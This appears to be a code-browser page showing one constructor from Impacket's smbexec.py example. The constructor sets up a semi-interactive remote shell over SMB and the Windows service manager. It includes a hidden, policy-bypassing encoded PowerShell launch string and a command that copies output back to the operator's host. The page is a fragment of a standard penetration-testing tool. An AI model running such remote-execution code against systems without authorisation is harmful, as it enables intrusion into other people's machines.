MCPcopy Create free account
hub / github.com/fortra/impacket / __init__

Method __init__

examples/smbexec.py:176–209  ·  view source on GitHub ↗
(self, share, rpc, mode, serviceName, shell_type)

Source from the content-addressed store, hash-verified

174
175class RemoteShell(cmd.Cmd):
176 def __init__(self, share, rpc, mode, serviceName, shell_type):
177 cmd.Cmd.__init__(self)
178 self.__share = share
179 self.__mode = mode
180 self.__output = '\\\\%COMPUTERNAME%\\' + self.__share + '\\' + OUTPUT_FILENAME
181 self.__outputBuffer = b''
182 self.__command = ''
183 self.__shell = '%COMSPEC% /Q /c '
184 self.__shell_type = shell_type
185 self.__pwsh = 'powershell.exe -NoP -NoL -sta -NonI -W Hidden -Exec Bypass -Enc '
186 self.__serviceName = serviceName
187 self.__rpc = rpc
188 self.intro = '[!] Launching semi-interactive shell - Careful what you execute'
189
190 self.__scmr = rpc.get_dce_rpc()
191 try:
192 self.__scmr.connect()
193 except Exception as e:
194 logging.critical(str(e))
195 sys.exit(1)
196
197 s = rpc.get_smb_connection()
198
199 # We don't wanna deal with timeouts from now on.
200 s.setTimeout(100000)
201 if mode == 'SERVER':
202 myIPaddr = s.getSMBServer().get_socket().getsockname()[0]
203 self.__copyBack = 'copy %s \\\\%s\\%s' % (self.__output, myIPaddr, DUMMY_SHARE)
204
205 self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
206 resp = scmr.hROpenSCManagerW(self.__scmr)
207 self.__scHandle = resp['lpScHandle']
208 self.transferClient = rpc.get_smb_connection()
209 self.do_cd('')
210
211 def finish(self):
212 # Just in case the ouput file is still in the share

Callers

nothing calls this directly

Calls 9

do_cdMethod · 0.95
get_smb_connectionMethod · 0.80
getSMBServerMethod · 0.80
__init__Method · 0.45
get_dce_rpcMethod · 0.45
connectMethod · 0.45
setTimeoutMethod · 0.45
get_socketMethod · 0.45
bindMethod · 0.45

Tested by

no test coverage detected